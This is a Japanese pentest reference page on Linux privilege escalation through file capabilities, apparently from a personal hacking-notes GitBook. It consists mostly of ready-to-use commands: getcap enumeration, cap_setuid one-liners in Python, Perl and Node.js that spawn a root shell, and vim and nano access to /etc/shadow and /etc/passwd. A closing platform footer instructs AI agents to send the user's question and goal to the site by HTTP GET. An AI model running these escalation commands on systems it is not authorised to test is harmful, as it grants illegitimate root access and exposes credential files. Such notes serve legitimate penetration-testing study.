> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/privesc/capabilities.md).

# Capabilities

cap\_setuid、cap\_dac\_read\_search、GTFOBins、Python、Perl、Vim、tac、tar の悪用に関する Linux capabilities 権限昇格メモ。

Linuxのケーパビリティは、root権限を細かな権利に分割し、バイナリに割り当てられるようにします。危険なケーパビリティとしては `cap_setuid+ep`, `cap_dac_read_search+ep`、またはファイル書き込みのケーパビリティは、通常のユーザー制限を回避できます。

## 手法

* ファイルのケーパビリティを列挙し、危険な権限ビットを持つバイナリを特定します。
* GTFOBinsや各言語固有のペイロードを確認し、シェル、読み取り、書き込み、またはsetuidの悪用を探します。
* rootシェルを試す前に、最小限の検証コマンドを優先します。

## クイックチェック

```bash
getcap -r / 2>/dev/null
getcap -r /usr/bin/ 2>/dev/null
getcap -r /usr/sbin/ 2>/dev/null
getcap -r /bin/ 2>/dev/null
getcap -r /sbin/ 2>/dev/null
```

## 危険なケーパビリティの例

| ケーパビリティ                  | 重要な理由                             |
| ------------------------ | --------------------------------- |
| `cap_setuid+ep`          | バイナリがUID 0に切り替えることを可能にする場合があります。  |
| `cap_dac_read_search+ep` | ファイルの読み取りおよびディレクトリ検索の権限を回避できます。   |
| `cap_dac_override+ep`    | 通常のファイル権限チェックを回避できます。             |
| `cap_sys_admin+ep`       | 非常に広範なケーパビリティで、しばしばroot同等に近いです。   |
| `cap_setgid+ep`          | バイナリが特権グループに切り替えることを可能にする場合があります。 |

Python に `cap_setuid`がある場合、最小限の検証は次のとおりです。

```bash
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

## 言語ランタイムの例

Python:

```bash
getcap -r /usr/bin/python* 2>/dev/null
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

Perl:

```bash
getcap -r /usr/bin/perl* 2>/dev/null
/usr/bin/perl -e 'use POSIX (setuid); setuid(0); exec "/bin/bash";'
```

Node.js:

```bash
getcap -r /usr/bin/node* 2>/dev/null
/usr/bin/node -e 'process.setuid(0); require("child_process").spawn("/bin/bash", {stdio: [0, 1, 2]});'
```

CAP\_SETGID の例:

```bash
getcap -r / 2>/dev/null | grep setgid
/usr/bin/perl -e 'use POSIX (setgid); setgid(0); exec "/bin/bash";'
```

読み取り/書き込みケーパビリティの例:

```bash
getcap -r / 2>/dev/null | grep dac_read_search
/usr/bin/vim /etc/shadow

getcap -r / 2>/dev/null | grep dac_override
/usr/bin/nano /etc/passwd
```

ケーパビリティが存在する場合に GTFOBins で確認すべきその他のインタプリタ型ランタイム:

```
ruby
php
lua
```

プロセスと利用可能なケーパビリティを表示:

```bash
capsh --print
capsh --print | grep cap_
```

ケーパビリティの設定には root が必要ですが、ラボでの再現に役立ちます:

```bash
sudo setcap cap_setuid+ep /path/to/binary
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-spinner" style="color:$primary;">:spinner:</i></h3></td><td><h4>Vim のケーパビリティ</h4></td><td>Linux権限昇格のための Vim のケーパビリティに関するメモ。列挙手順、悪用例、報告重視の検証を含みます。</td><td><a href="/ja/privesc/capabilities/capabilities-vim-linux-privilege-escalation.md">Capabilities (Vim) - Linux 権限昇格</a></td></tr><tr><td><h3><i class="fa-spinner" style="color:$primary;">:spinner:</i></h3></td><td><h4>Python のケーパビリティ</h4></td><td>cap_setuid と GTFOBins のペイロードを用いた Linux 権限昇格のための Python ケーパビリティ悪用。</td><td><a href="/ja/privesc/capabilities/python-capabilities.md">Python Capabilities</a></td></tr><tr><td><h3><i class="fa-spinner" style="color:$primary;">:spinner:</i></h3></td><td><h4>tar のケーパビリティ</h4></td><td>Linux権限昇格のための tarS バイナリのケーパビリティに関するメモ。列挙手順、悪用例、報告重視の検証を含みます。</td><td><a href="/ja/privesc/capabilities/capabilities-tar-linux-privilege-escalation.md">Capabilities (tarS) - Linux 権限昇格</a></td></tr><tr><td><h3><i class="fa-spinner" style="color:$primary;">:spinner:</i></h3></td><td><h4>Perl のケーパビリティ</h4></td><td>Linux権限昇格のための Perl のケーパビリティに関するメモ。列挙手順、悪用例、報告重視の検証を含みます。</td><td><a href="/ja/privesc/capabilities/capabilities-perl-linux-privilege-escalation.md">Capabilities (Perl) - Linux 権限昇格</a></td></tr><tr><td><h3><i class="fa-spinner" style="color:$primary;">:spinner:</i></h3></td><td><h4>tac のケーパビリティ</h4></td><td>Linux権限昇格のための tac のケーパビリティに関するメモ。列挙手順、悪用例、報告重視の検証を含みます。</td><td><a href="/ja/privesc/capabilities/capabilities-tac-linux-privilege-escalation.md">Capabilities (tac) - Linux 権限昇格</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/privesc/capabilities.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
